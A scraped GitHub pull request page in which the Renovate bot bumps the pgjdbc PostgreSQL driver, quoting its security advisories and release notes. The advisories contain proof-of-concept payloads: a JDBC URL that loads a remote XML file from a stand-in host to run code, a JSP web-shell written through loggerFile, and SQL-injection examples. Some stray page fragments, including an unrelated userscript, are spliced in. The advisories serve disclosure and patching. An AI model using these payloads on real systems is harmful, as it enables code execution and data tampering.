  • fix: PreparedStatement.toString() no longer throws for a bytea value supplied as text via PGobject. Hex-format values (\x...) are validated and rendered as a bytea literal, and escape-format values are quoted and cast like any other literal Issue #​3757PR #​4201
  • fix: the driver no longer nulls the contextClassLoader of shared ForkJoinPool.commonPool() worker threads, which previously left unrelated tasks on those threads running with a null classloader Issue #​4155PR #​4156
  • fix: PgResultSet#getCharacterStream wraps String in a StringReaderPR #​4063
  • fix: PGXAConnection no longer saves and restores the underlying connection's JDBC autoCommit flag. All XA-protocol SQL (BEGIN, PREPARE TRANSACTION, COMMIT, ROLLBACK, COMMIT PREPARED, ROLLBACK PREPARED, the recover() SELECT) is sent through QUERY_SUPPRESS_BEGIN, so the caller's autoCommit value is invariant across every XAResource call. Fixes the "2nd phase commit must be issued using an idle connection" failure during recovery on managed datasources that pool connections with autoCommit=false (TomEE, WildFly, WebSphere Liberty) PR #​4114
  • fix: PGXAConnection.prepare() now mutates XA state only after PREPARE TRANSACTION succeeds. A failed PREPARE previously left the driver thinking the branch was already prepared, so the follow-up rollback(xid) tried ROLLBACK PREPARED against a non-existent gid and returned XAER_RMERR. Transaction managers (Narayana) escalated this to HeuristicMixedException. With the fix, rollback(xid) takes the active-branch path and issues a plain ROLLBACK, which the server accepts cleanly. Fixes Issue #​3153, Issue #​3123. PR #​4114
  • fix: an updatable result set over an unqualified table name is now classified using only the table visible through search_path. When two schemas held a table with the same name and the same primary or unique index name but a different set of key columns, the driver took the union of both schemas' columns, so the result set could be wrongly rejected as not updatable PR #​4214. Supersedes
✂ Note
PR body was truncated to here.
Configuration
📅 Schedule: (UTC)
  • Branch creation

    • At any time (no schedule defined)
  • Automerge

    • At any time (no schedule defined)
🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.
♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 Ignore: Close this PR and you won't be reminded about this update again.
  •  If you want to rebase/retry this PR, check this box
This PR was generated by Mend Renovate. View the repository job log.
@renovaterenovateBot
changed the title
Update dependency org.postgresql:postgresql to v42.3.3 [SECURITY]Update dependency org.postgresql:postgresql to v42.3.3 [SECURITY] - autoclosedMar 27, 2026
@renovaterenovateBot
closed this
Mar 27, 2026
@renovate
renovateBot
deleted the

renovate/maven-org.postgresql-postgresql-vulnerability

branch
March 27, 2026 00:45
@renovaterenovateBot
changed the title
Update dependency org.postgresql:postgresql to v42.3.3 [SECURITY] - autoclosedUpdate dependency org.postgresql:postgresql to v42.3.3 [SECURITY]Mar 30, 2026
@renovaterenovateBot
reopened this
Mar 30, 2026
@renovate
renovateBotforce-pushed
the
renovate/maven-org.postgresql-postgresql-vulnerability
branch
2 times, most recently
from
c29cb62 to
aa15a13CompareMarch 30, 2026 18:01
@renovaterenovateBot
changed the title
Update dependency org.postgresql:postgresql to v42.3.3 [SECURITY]Update dependency org.postgresql:postgresql to v42.3.3 [SECURITY] - autoclosedApr 27, 2026
@renovaterenovateBot
closed this
Apr 27, 2026
@renovaterenovateBot
changed the title
Update dependency org.postgresql:postgresql to v42.3.3 [SECURITY] - autoclosedUpdate dependency org.postgresql:postgresql to v42.3.3 [SECURITY]Apr 28, 2026
@renovaterenovateBot
reopened this
Apr 28, 2026
@renovate
renovateBotforce-pushed
the
renovate/maven-org.postgresql-postgresql-vulnerability
branch
2 times, most recently
from
aa15a13 to
45ddb13CompareApril 28, 2026 04:54
@renovate
renovateBotforce-pushed
the
renovate/maven-org.postgresql-postgresql-vulnerability
branch
from
45ddb13 to
101b1f7CompareMay 7, 2026 00:12
@renovaterenovateBot
changed the title
Update dependency org.postgresql:postgresql to v42.3.3 [SECURITY]Update dependency org.postgresql:postgresql to v42.7.11 [SECURITY]May 7, 2026
Sign up for freeto join this conversation on GitHub.
Already have an account?
Sign in to comment

Reviewers


No reviews


Assignees


No one assigned


Labels


None yet


Projects


None yet


Milestone


No milestone


Development

Successfully merging this pull request may close these issues.

0 participants


, 'i');
if (__m === '*' || __re.test(location.href)) {
injectUserscript("// Strip utm_, fbclid, gclid, etc. from all links on page\n(function() {\n var trackingParams = ['utm_source', 'utm_medium', 'utm_campaign', 'utm_term', 'utm_content',\n 'fbclid', 'gclid', 'dclid', 'msclkid', 'yclid',\n 'ref', 'ref_src', 'source', 'medium', 'campaign'];\n \n function cleanUrl(url) {\n try {\n var u = new URL(url, window.location.origin);\n var changed = false;\n trackingParams.forEach(function(p) {\n if (u.searchParams.has(p)) {\n u.searchParams.delete(p);\n changed = true;\n }\n });\n return changed ? u.toString() : url;\n } catch (e) {\n return url;\n }\n }\n \n function cleanLinks() {\n document.querySelectorAll('a[href]').forEach(function(a) {\n var clean = cleanUrl(a.href);\n if (clean !== a.href) a.href = clean;\n });\n }\n \n cleanLinks();\n \n var observer = new MutationObserver(function(mutations) {\n mutations.forEach(function(m) {\n m.addedNodes.forEach(function(node) {\n if (node.nodeType === 1) {\n if (node.tagName === 'A') cleanLinks();\n node.querySelectorAll('a[href]').forEach(function(a) {\n var clean = cleanUrl(a.href);\n if (clean !== a.href) a.href = clean;\n });\n }\n });\n });\n });\n observer.observe(document.body, { childList: true, subtree: true });\n})();", "Remove Tracking Parameters from Links");
}
} catch(__e) { console.warn('[Userscript:Remove Tracking Parameters from Links]', __e); }
})();
(function(){
try {
var __m = "youtube.com";
var __re = new RegExp('^' + "youtube\\.com" + '

Skip to content
Update dependency org.postgresql:postgresql to v42.7.11 [SECURITY] - #62
Open
renovate[bot] wants to merge 1 commit into
masterfrom 
renovate/maven-org.postgresql-postgresql-vulnerability
Open
Update dependency org.postgresql:postgresql to v42.7.11 [SECURITY]#62
renovate[bot] wants to merge 1 commit into
masterfrom 
renovate/maven-org.postgresql-postgresql-vulnerability
Conversation
@renovate
@renovaterenovateBot
commented
Mar 16, 2023•

edited

Loading

Copy link


Copy Markdown

ℹ️ Note
This PR body was truncated due to platform limits.
This PR contains the following updates:
PackageChangeAgeConfidence
org.postgresql:postgresql (source)42.2.23 → 42.7.11ageconfidence
Warning
Some dependencies could not be looked up. Check the Dependency Dashboard for more information.
pgjdbc Does Not Check Class Instantiation when providing Plugin Classes
CVE-2022-21724 / GHSA-v7wg-cpwc-24m4
More information
Details
Impact
pgjdbc instantiates plugin instances based on class names provided via authenticationPluginClassName, sslhostnameverifier, socketFactory, sslfactory, sslpasswordcallback connection properties.
However, the driver did not verify if the class implements the expected interface before instantiating the class.
Here's an example attack using an out-of-the-box class from Spring Framework:
DriverManager.getConnection("jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml");

The first impacted version is REL9.4.1208 (it introduced socketFactory connection property)
Severity
  • CVSS Score: 7.0 / 10 (High)
  • Vector String: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
References
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
pgjdbc Arbitrary File Write Vulnerability
GHSA-673j-qm5f-xpv8
More information
Details
Overview
The connection properties for configuring a pgjdbc connection are not meant to be exposed to an unauthenticated attacker. While allowing an attacker to specify arbitrary connection properties could lead to a compromise of a system, that's a defect of an application that allows unauthenticated attackers that level of control.
It's not the job of the pgjdbc driver to decide whether a given log file location is acceptable. End user applications that use the pgjdbc driver must ensure that filenames are valid and restrict unauthenticated attackers from being able to supply arbitrary values. That's not specific to the pgjdbc driver either, it would be true for any library that can write to the application's local file system.
While we do not consider this a security issue with the driver, we have decided to remove the loggerFile and loggerLevel connection properties in the next release of the driver. Removal of those properties does not make exposing the JDBC URL or connection properties to an attacker safe and we continue to suggest that applications do not allow untrusted users to specify arbitrary connection properties. We are removing them to prevent misuse and their functionality can be delegated to java.util.logging.
If you identify an application that allows remote users to specify a complete JDBC URL or properties without validating it's contents, we encourage you to notify the application owner as that may be a security defect in that specific application.
Impact
It is possible to specify an arbitrary filename in the loggerFileName connection parameter

"jdbc:postgresql://localhost:5432/test?user=test&password=test&loggerLevel=DEBUG&loggerFile=./blah.jsp&<%Runtime.getRuntime().exec(request.getParameter("i"));%>"
This creates a valid JSP file which could lead to a Remote Code Execution
Patches
LoggerFile implementation has been removed and will be ignored by the driver, fixed in 42.3.3
Workarounds
sanitize the inputs to the driver
Reported by Allan Lou v3ged0ge@gmail.com
Severity
Medium
References
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
Path traversal in org.postgresql:postgresql
CVE-2022-26520 / GHSA-727h-hrw8-jg8q
More information
Details
In pgjdbc before 42.3.3, an attacker (who controls the jdbc URL or properties) can call java.util.logging.FileHandler to write to arbitrary files through the loggerFile and loggerLevel connection properties. An example situation is that an attacker could create an executable JSP file under a Tomcat web root. NOTE: the vendor's position is that there is no pgjdbc vulnerability; instead, it is a vulnerability for any application to use the pgjdbc driver with untrusted connection properties.
Severity
Low
References
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
PostgreSQL JDBC Driver SQL Injection in ResultSet.refreshRow() with malicious column names
CVE-2022-31197 / GHSA-r38f-c4h4-hqq2
More information
Details
Impact
What kind of vulnerability is it? Who is impacted?
The PGJDBC implementation of the java.sql.ResultRow.refreshRow() method is not performing escaping of column names so a malicious column name that contains a statement terminator, e.g. ;, could lead to SQL injection. This could lead to executing additional SQL commands as the application's JDBC user.
User applications that do not invoke the ResultSet.refreshRow() method are not impacted.
User application that do invoke that method are impacted if the underlying database that they are querying via their JDBC application may be under the control of an attacker. The attack requires the attacker to trick the user into executing SQL against a table name who's column names would contain the malicious SQL and subsequently invoke the refreshRow() method on the ResultSet.
For example:
CREATETABLErefresh_row_example (
id intPRIMARY KEY,
"1 FROM refresh_row_example; SELECT pg_sleep(10); SELECT * "int
);
This example has a table with two columns. The name of the second column is crafted to contain a statement terminator followed by additional SQL. Invoking the ResultSet.refreshRow() on a ResultSet that queried this table, e.g. SELECT * FROM refresh_row, would cause the additional SQL commands such as the SELECT pg_sleep(10) invocation to be executed.
As the multi statement command would contain multiple results, it would not be possible for the attacker to get data directly out of this approach as the ResultSet.refreshRow() method would throw an exception. However, the attacker could execute any arbitrary SQL including inserting the data into another table that could then be read or any other DML / DDL statement.
Note that the application's JDBC user and the schema owner need not be the same. A JDBC application that executes as a privileged user querying database schemas owned by potentially malicious less-privileged users would be vulnerable. In that situation it may be possible for the malicious user to craft a schema that causes the application to execute commands as the privileged user.
Patches
Has the problem been patched? What versions should users upgrade to?
Yes, versions 42.2.26, 42.3.7, and 42.4.1 have been released with a fix.
Workarounds
Is there a way for users to fix or remediate the vulnerability without upgrading?
Check that you are not using the ResultSet.refreshRow() method.
If you are, ensure that the code that executes that method does not connect to a database that is controlled by an unauthenticated or malicious user. If your application only connects to its own database with a fixed schema with no DDL permissions, then you will not be affected by this vulnerability as it requires a maliciously crafted schema.
Severity
  • CVSS Score: 7.1 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H
References
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
TemporaryFolder on unix-like systems does not limit access to created files
CVE-2022-41946 / GHSA-562r-vg33-8x8h
More information
Details
Vulnerability
PreparedStatement.setText(int, InputStream)

and
PreparedStatemet.setBytea(int, InputStream)
will create a temporary file if the InputStream is larger than 51k
Example of vulnerable code:
Strings = "some very large string greater than 51200 bytes";
PreparedStatement.setInputStream(1, newByteArrayInputStream(s.getBytes()) );
This will create a temporary file which is readable by other users on Unix like systems, but not MacOS.
Impact

On Unix like systems, the system's temporary directory is shared between all users on that system. Because of this, when files and directories are written into this directory they are, by default, readable by other users on that same system.
This vulnerability does not allow other users to overwrite the contents of these directories or files. This is purely an information disclosure vulnerability.
When analyzing the impact of this vulnerability, here are the important questions to ask:
Is the driver running in an environment where the OS has other untrusted users.

If yes, and you answered 'yes' to question 1, this vulnerability impacts you.

If no, this vulnerability does not impact you.

Patches

Because certain JDK file system APIs were only added in JDK 1.7, this this fix is dependent upon the version of the JDK you are using.
Java 1.8 and higher users: this vulnerability is fixed in 42.2.27, 42.3.8, 42.4.3, 42.5.1

Java 1.7 users: this vulnerability is fixed in 42.2.27.jre7

Java 1.6 and lower users: no patch is available; you must use the workaround below.

Workarounds

If you are unable to patch, or are stuck running on Java 1.6, specifying the java.io.tmpdir system environment variable to a directory that is exclusively owned by the executing user will fix this vulnerability.
References
CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

Fix commit pgjdbc/pgjdbc@9008dc9

Similar Vulnerabilities

Google Guava - https://github.com/google/guava/issues/4011

Apache Ant - https://nvd.nist.gov/vuln/detail/CVE-2020-1945

JetBrains Kotlin Compiler - https://nvd.nist.gov/vuln/detail/CVE-2020-15824
Severity
  • CVSS Score: 4.7 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N
References
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
org.postgresql:postgresql vulnerable to SQL Injection via line comment generation
CVE-2024-1597 / GHSA-24rp-q3w6-vc56
More information
Details
Impact
SQL injection is possible when using the non-default connection property preferQueryMode=simple in combination with application code that has a vulnerable SQL that negates a parameter value.
There is no vulnerability in the driver when using the default query mode. Users that do not override the query mode are not impacted.
Exploitation
To exploit this behavior the following conditions must be met:
  1. A placeholder for a numeric value must be immediately preceded by a minus (i.e. -)
  2. There must be a second placeholder for a string value after the first placeholder on the same line.
  3. Both parameters must be user controlled.
The prior behavior of the driver when operating in simple query mode would inline the negative value of the first parameter and cause the resulting line to be treated as a -- SQL comment. That would extend to the beginning of the next parameter and cause the quoting of that parameter to be consumed by the comment line. If that string parameter includes a newline, the resulting text would appear unescaped in the resulting SQL.
When operating in the default extended query mode this would not be an issue as the parameter values are sent separately to the server. Only in simple query mode the parameter values are inlined into the executed SQL causing this issue.
Example
PreparedStatementstmt = conn.prepareStatement("SELECT -?, ?");
stmt.setInt(1, -1);
stmt.setString(2, "\nWHERE false --");
ResultSetrs = stmt.executeQuery();
The resulting SQL when operating in simple query mode would be:
SELECT--1,'WHERE false --'
The contents of the second parameter get injected into the command. Note how both the number of result columns and the WHERE clause of the command have changed. A more elaborate example could execute arbitrary other SQL commands.
Patch
Problem will be patched upgrade to 42.7.2, 42.6.1, 42.5.5, 42.4.4, 42.3.9, 42.2.28, 42.2.28.jre7
The patch fixes the inlining of parameters by forcing them all to be serialized as wrapped literals. The SQL in the prior example would be transformed into:
SELECT-('-1'::int4), ('WHERE false --')
Workarounds
Do not use the connection propertypreferQueryMode=simple. (NOTE: If you do not explicitly specify a query mode then you are using the default of extended and are not impacted by this issue.)
Severity
  • CVSS Score: 10.0 / 10 (Critical)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
References
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
pgjdbc: Unbounded PBKDF2 iterations in SCRAM authentication allows CPU exhaustion DoS
CVE-2026-42198 / GHSA-98qh-xjc8-98pq
More information
Details
Summary
pgjdbc is vulnerable to a client-side denial of service during SCRAM-SHA-256 authentication.
Impact
A malicious server can instruct the driver to perform SCRAM authentication with a very large iteration count.

With a large enough value, the client spends an unbounded amount of CPU time inside PBKDF2 before authentication can fail.

A single attempt ties up a CPU core. Repeated or concurrent attempts exhaust client CPU and can wedge connection pools.
In affected versions, loginTimeout did not fully mitigate this problem. When loginTimeout expired, the caller could stop waiting, but the worker thread performing the connection attempt could continue running and burning CPU inside the SCRAM PBKDF2 computation.
This issue affects availability. It does not provide authentication bypass, privilege escalation, or direct password disclosure.
A user is vulnerable when all of the following are true:
  1. The connection uses SCRAM-SHA-256 authentication.
  2. The client reaches a malicious, compromised, or attacker-controlled PostgreSQL endpoint.
  3. That endpoint sends a very large SCRAM PBKDF2 iteration count in the server-first-message.
In practice, that can happen in these situations:
  • the application lets end users or tenants supply their own database connection details (as in many BI, reporting, analytics, ETL, and low-code platforms), so a user can point the shared client host at a server they control
  • the application accepts connection strings, hostnames, or JDBC URLs from user input, configuration uploaded by users, or other untrusted sources
  • the application is configured to connect to a PostgreSQL server that is itself malicious or later becomes compromised
  • the application connects through an untrusted proxy, relay, tunnel, bastion, or connection-pooling service that can act as the PostgreSQL server
  • an attacker can redirect the client to a fake PostgreSQL endpoint by manipulating DNS, service discovery, Kubernetes service resolution, /etc/hosts, environment variables, or similar indirection
  • an active network attacker on the path can impersonate the server because the connection does not strongly verify server identity (for example, sslmode lower than verify-full, or trusting a CA that signs hosts outside the operator's control)
The issue is more damaging when the application uses connection retries, many parallel connection attempts, or loginTimeout and assumes the timeout fully stops the work.
Patches
The patch introduces a new connection property, scramMaxIterations, with a default of 100K. The client now rejects SCRAM server messages that advertise more PBKDF2 iterations than the configured cap before starting the PBKDF2 computation begins.
Workarounds
Until a patched version of pgjdbc is deployed, the following measures reduce exposure:
  1. Only connect to trusted PostgreSQL servers whose identity is verified.
    
Connect only to trusted PostgreSQL servers, and verify server identity with TLS using sslmode=verify-full and a trusted CA.
    
TLS without certificate and hostname verification is not sufficient as an active network attacker can still impersonate the server.
  2. Do not rely on loginTimeout as a complete mitigation on unpatched versions.
    
On affected versions, loginTimeout can stop the waiting caller while the worker thread continues spending CPU.
  3. Avoid SCRAM on untrusted or interceptable connection paths.
    
For those paths, use an authentication method that does not let the server choose a SCRAM PBKDF2 iteration count.
  4. Reduce blast radius operationally.
    
Limit parallel connection attempts, add retry backoff, isolate connection establishment in a separate worker or process when possible, and apply CPU or container limits where appropriate.
  5. On trusted servers you control, keep SCRAM iteration counts at ordinary values.
    
This does not defend against an attacker-controlled server, but it avoids unnecessary client cost when talking to legitimate servers.
Severity
  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
References
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
Release Notes
pgjdbc/pgjdbc (org.postgresql:postgresql)
v42.7.11
Security
  • fix: Limit SCRAM PBKDF2 iterations accepted from the server.
    
pgjdbc was vulnerable to a client-side denial of service in SCRAM-SHA-256 authentication, where a malicious or compromised PostgreSQL server could specify an extremely large PBKDF2 iteration count, causing the client to consume unbounded CPU and potentially exhaust connection pools. The fix introduces a new scramMaxIterations connection property (defaulting to 100,000) to cap iteration counts before computation begins.
    
See the Security Advisory for more detail.
    
The following CVE-2026-42198 has been issued.
Added
  • feat: implement require_auth connection property, aligning with libpq behavior PR #​3895
Changed
  • chore: replace Appveyor CI with ikalnytskyi/action-setup-postgres PR #​3966
  • chore: upgrade Gradle to v9 PR #​3978
Fixed
  • fix: ensure extended protocol messages end with Sync message PR #​3728
  • fix: enable cursor-based fetching in extended protocol when transaction started via SQL command PR #​3996
  • fix: retry with SSL on IOException when sslMode=ALLOW PR #​3973
  • fix: make sure the driver honours connectTimeout when retrying the connection PR #​3968
  • fix: allow fallback to non-SSL connection when sslMode=prefer and sslResponseTimeout kicks in PR #​3968
  • fix: catch SecurityException from setContextClassLoader on ForkJoinPool workers PR #​3962
  • fix: use compareTo for LogSequenceNumber comparison to handle unsigned values correctly PR #​3961
  • fix: release COPY lock on IOException to prevent connection hang PR #​3957
  • fix: return jsonb as PGObject instead of String PR #​3956
  • fix: align SSL key file permission check with libpq PR #​3952
  • fix: guard connection closed flag with a reentrant lock to protect against concurrent close PR #​3905
v42.7.10
Changed
  • chore: Migrate to Shadow 9 PR 3931
  • style: fix empty line before javadoc for checkstyle compliance PR #​3925
  • style: fix lambda argument indentation for checkstyle compliance PR #​3922
  • test: add autosave=always|never|conservative and cleanupSavepoints=true|false to the randomized CI jobs PR #​3917
Fixed
  • fix: non-standard strings failing test for version 19 PR #​3934
  • fix: small issues in ConnectionFactoryImpl PR #​3929
  • fix: process pending responses before fastpath to avoid protocol errors PR # 3913
  • doc: use.md, fix typos PR #​3911
  • doc: datasource.md, fix minor formatting issue PR #​3912
  • doc: add the new PGP signing key to the official documentation PR #​3912
Reverted
v42.7.9
Compare Source
Added
  • feat: query timeout property PR #​3705
  • feat: Add PEMKeyManager to handle PEM based certs and keys PR #​3700
Changed
  • perf: optimize PGInterval.getValue() by replacing String.format with StringBuilder
  • doc: update property quoteReturningIdentifiers default value PR #​3847
  • security: Use a static method forName to load all user supplied classes. Use the Class.forName 3 parameter method and do not initilize it unless it is a subclass of the expected class
Fixed
  • fix: incorrect pg_stat_replication.reply_time calculation PR #​3906
  • fix: close temporary lob descriptors that are used internally in PreparedStatement#setBlob
  • fix: PGXAConnection.prepare(Xid) should return XA_RDONLY if the connection is read only PR #​3897
  • fix: make all Calendar instances proleptic Gregorian PR #​3837
  • fix: Simplify concurrency guards on QueryExecutorBase#transaction and QueryExecutorBase#standardConformingStrings PR #​3897
  • fix: avoid memory leaks in Java <= 21 caused by Thread.inheritedAccessControlContext PR #​3886
  • fix: Issue #​3784 pgjdbc can't decode numeric arrays containing special numbers like NaN PR #​3838
  • fix: use ssl_is_used() to check for ssl connection PR #​3867
  • fix: the classloader is nullable PR #​3907
v42.7.8
Compare Source
Added
  • feat: Add configurable boolean-to-numeric conversion for ResultSet getters PR #​3796
Changed
  • perf: remove QUERY_ONESHOT flag when calling getMetaData PR #​3783
  • perf: use BufferedInputStream with FileInputStreamPR #​3750
  • perf: enable server-prepared statements for DatabaseMetaData
Fixed
  • fix: avoid NullPointerException when cancelling a query if cancel key is not known yet
  • fix: Change "PST" timezone in TimestampTest to "Pacific Standard Time" PR #​3774
  • fix: traverse the current dimension to get the correct pos in PgArray#calcRemainingDataLength PR #​3746
  • fix: make sure getImportedExportedKeys returns columns in consistent order
  • fix: Add "SELF_REFERENCING_COL_NAME" field to getTables' ResultSetMetaData to fix NullPointerException PR #​3660
  • fix: unable to open replication connection to servers < 12
  • fix: avoid closing statement caused by driver's internal ResultSet#close()
  • fix: return empty metadata for empty catalog names as it was before
  • fix: Incorrect class comparison in PGXmlFactoryFactory validation
v42.7.7
Security
  • security: Client Allows Fallback to Insecure Authentication Despite channelBinding=require configuration.
    
Fix channel binding required handling to reject non-SASL authentication
    
Previously, when channel binding was set to "require", the driver would silently ignore this
    
requirement for non-SASL authentication methods. This could lead to a false sense of security
    
when channel binding was explicitly requested but not actually enforced. The fix ensures that when
    
channel binding is set to "require", the driver will reject connections that use
    
non-SASL authentication methods or when SASL authentication has not completed properly.
    
See the Security Advisory for more detail. Reported by George MacKerron
    
The following CVE-2025-49146 has been issued
Added
  • test: Added ChannelBindingRequiredTest to verify proper behavior of channel binding settings
v42.7.6
Features
  • fix: Enhanced DatabaseMetadata.getIndexInfo() method, added index comment as REMARKS property PR #​3513
Performance Improvements
  • performance: Improve ResultSetMetadata.fetchFieldMetaData by using IN row values instead of UNION ALL for improved query performance (later reverted) PR #​3510
  • feat:Use a single simple query for all startup parameters, so groupStartupParameters is no longer needed PR #​3613
v42.7.5
Added
Fixed
  • regression: revert change in fc60537PR #​3476
  • fix: PgDatabaseMetaData implementation of catalog as param and return value PR #​3390
  • fix: Support default GSS credentials in the Java Postgres client PR #​3451
  • fix: return only the transactions accessible by the current_user in XAResource.recover PR #​3450
  • feat: don't force send extra_float_digits for PostgreSQL >= 12 fix Issue #​3432PR #​3446
  • fix: exclude "include columns" from the list of primary keys PR #​3434
  • perf: Enhance the meta query performance by specifying the oid. PR #​3427
  • feat: support getObject(int, byte[].class) for bytea PR #​3274
  • docs: document infinity and some minor edits PR #​3407
  • fix: Added way to check for major server version, fixed check for RULE PR #​3402
  • docs: fixed remaining paragraphs PR #​3398
  • docs: fixed paragraphs in javadoc comments PR #​3397
  • fix: Reuse buffers and reduce allocations in GSSInputStream addresses Issue #​3251PR #​3255
  • chore: Update Gradle to 8.10.2 PR #​3388
  • fix: getSchemas() PR #​3386
  • fix: Update rpm postgresql-jdbc.spec.tpl with scram-client PR #​3324
  • fix: Clearing thisRow and rowBuffer on close() of ResultSet Issue #​3383PR #​3384
  • fix: Package was renamed to maven-bundle-plugin PR #​3382
  • fix: As of version 18 the RULE privilege has been removed PR #​3378
  • fix: use buffered inputstream to create GSSInputStream PR #​3373
  • test: get rid of 8.4, 9.0 pg versions and use >= jdk version 17 PR #​3372
  • Changed docker-compose version and renamed script file in instructions to match the real file name PR #​3363
  • test:Do not assume "test" database in DatabaseMetaDataTransactionIsolationTest PR #​3364
  • try to categorize dependencies PR #​3362
v42.7.4
Added
  • chore: SCRAM dependency to 3.1 and support channel binding PR #​3188
  • chore: Add PostgreSQL 15, 16, and 17beta1 to CI tests PR #​3299
  • test: Update to 17beta3 PR #​3308
  • chore: Implement direct SSL ALPN connections PR #​3252
  • translation: Add Korean translation file PR #​3276
Fixed
  • fix: PgInterval ignores case for represented interval string PR #​3344
  • perf: Avoid extra copies when receiving int4 and int2 in PGStream PR #​3295
  • fix: Add support for Infinity::numeric values in ResultSet.getObject PR #​3304
  • fix: Ensure order of results for getDouble PR #​3301
  • perf: Replace BufferedOutputStream with unsynchronized PgBufferedOutputStream, allow configuring different Java and SO_SNDBUF buffer sizes PR #​3248
  • fix: Fix SSL tests PR #​3260
  • fix: Support bytea in preferQueryMode=simple PR #​3243
  • fix: Fix #​3234 - Return -1 as update count for stored procedure calls PR #​3235
  • fix: Fix #​3224 - conversion for TIME '24:00' to LocalTime breaks in binary-mode PR #​3225
  • perf: Speed up getDate by parsing bytes instead of String PR #​3141
  • fix: support PreparedStatement.setBlob(1, Blob) and PreparedStatement.setClob(1, Clob) for lobs that return -1 for length PR #​3136
  • fix: Validates resultset Params in PGStatement constructor. uses assertThro… PR #​3171
  • fix: Validates resultset parameters PR #​3167
  • docs: Replace greater to with greater than PR #​3315
  • docs: Clarify binaryTransfer and prepareThreshold PR #​3338
  • docs: use.md, typo PR #​3314
  • test: Use docker v2 which changes docker-compose to docker compose #​3339
  • refactor: Merge PgPreparedStatement#setBinaryStream int and long methods PR #​3165
  • test: Test both binaryMode=true,false when creating connections in DatabaseMetaDataTest PR #​3231
  • docs: Fixed typos in all source code and documentations PR #​3242
  • chore: Remove self-hosted runner PR #​3227
  • docs: Add cancelSignalTimeout in README PR #​3190
  • docs: Document READ_ONLY_MODE in README PR #​3175
  • test: Test for +/- infinity double values PR #​3294
  • test: Switch localhost and auth-test around for test-gss PR #​3343
  • fix: remove preDescribe from internalExecuteBatch PR #​2883
  • deps: Update dependency om.ongres.scram:scram-client to 3.2
Deprecated
  • test: Deprecate all PostgreSQL versions older than 9.1 PR #​3335
v42.7.3
Changed
Fixed
  • fix: boolean types not handled in SimpleQuery mode PR #​3146
    • make sure we handle boolean types in simple query mode
    • support uuid as well
    • handle all well known types in text mode and change else if to switch
  • fix: released new versions of 42.2.29, 42.3.10, 42.4.5, 42.5.6, 42.6.2 to deal with NoSuchMethodError on ByteBuffer#position when running on Java 8
v42.7.2
Security
  • security: SQL Injection via line comment generation, it is possible in SimpleQuery mode to generate a line comment by having a placeholder for a numeric with a -
    
such as -?. There must be second placeholder for a string immediately after. Setting the parameter to a -ve value creates a line comment.
    
This has been fixed in this version fixes CVE-2024-1597. Reported by Paul Gerste. See the security advisory for more details. This has been fixed in versions 42.7.2, 42.6.1 42.5.5, 42.4.4, 42.3.9, 42.2.28.jre7. See the security advisory for work arounds.
Changed
  • fix: Use simple query for isValid. Using Extended query sends two messages checkConnectionQuery was never ever set or used, removed PR #​3101
  • perf: Avoid autoboxing bind indexes by @​bokken in PR #​1244
  • refactor: Document that encodePassword will zero out the password array, and remove driver's default encodePassword by @​vlsi in PR #​3084
Added
  • feat: Add PasswordUtil for encrypting passwords client side PR #​3082
v42.7.1
Added
  • feat: invalidate the prepared-statement cache when the server reports a search_path change via GUC_REPORT (PostgreSQL 18+), so cached plans are no longer used against the wrong schema PR #​4259
  • feat: reWriteBatchedInserts now merges up to 32768 rows into one multi-values INSERT (bounded by the 65535 bind-parameter limit on the extended protocol) instead of capping at 128, which speeds up batches of few-column rows. The new reWriteBatchedInsertsSize connection property lowers that cap when set; the default of 0 uses that maximum. PR #​4207
  • feat: invalidate the prepared-statement cache after CREATE/DROP/ALTER so callers no longer trip on "cached plan must not change result type" without opting into autosave=ALWAYS. Controlled by the new flushCacheOnDdl connection property (default true); set to false for the prior behaviour. PR #​4067
  • feat: add connectExecutor connection property to customize the Executor used to run the worker task that performs the connection attempt when loginTimeout is in effect. The value is the fully qualified name of a class implementing java.util.concurrent.Executor. With a null value, the default, the driver retains the prior behavior of running the connection attempt on a daemon thread named "PostgreSQL JDBC driver connection thread". The executor must run the task on a thread other than the caller's. Running the attempt on a named thread lets applications that monitor driver-created threads identify it. PR #​4165
  • feat: add classLoaderStrategy connection property to control which classloaders the driver searches when loading a class named by a connection property, for example socketFactory. The default driver-first now falls back to the thread context classloader when the driver's classloader cannot resolve the class, which fixes class loading in non-flat class paths such as Quarkus and OSGi. Set driver to keep the previous driver-classloader-only behaviour, or context-first to prefer the thread context classloader Issue #​2112PR #​4167
  • feat: add OID constants for geometric arrays, RECORD, and refcursorPR #​4220
  • feat: LargeObjectBlobInputStream now skips by seeking instead of reading, and the driver exposes the server version so it can select the 64-bit large-object API where available PR #​4204
Changed
  • refactor: the worker that runs the connection attempt under loginTimeout is now a FutureTask (ConnectTask) instead of the hand-rolled ConnectThread. When the caller hits the timeout, the task is now cancelled with cancel(true), which interrupts the worker thread rather than letting it run to completion. This makes the connection attempt interruptible, so loginTimeout can stop a slow connection attempt instead of leaking a thread. As before, a connection that the worker still manages to establish after the caller gives up is closed by the worker so that it does not leak. There are no public API changes and this should only lead to faster background resource cleanup for connections that time out. PR #​4120
  • chore: PGXAConnection.ConnectionHandler now rejects setAutoCommit(false) and setSavepoint(...) during an active XA branch, in addition to the long-rejected setAutoCommit(true) / commit() / rollback(). The setSavepoint rejection was already meant to be in place but the guard misspelled the method name as setSavePoint, so savepoints silently went through. Both changes bring the proxy in line with JTA 1.2 §3.4. PR #​4114
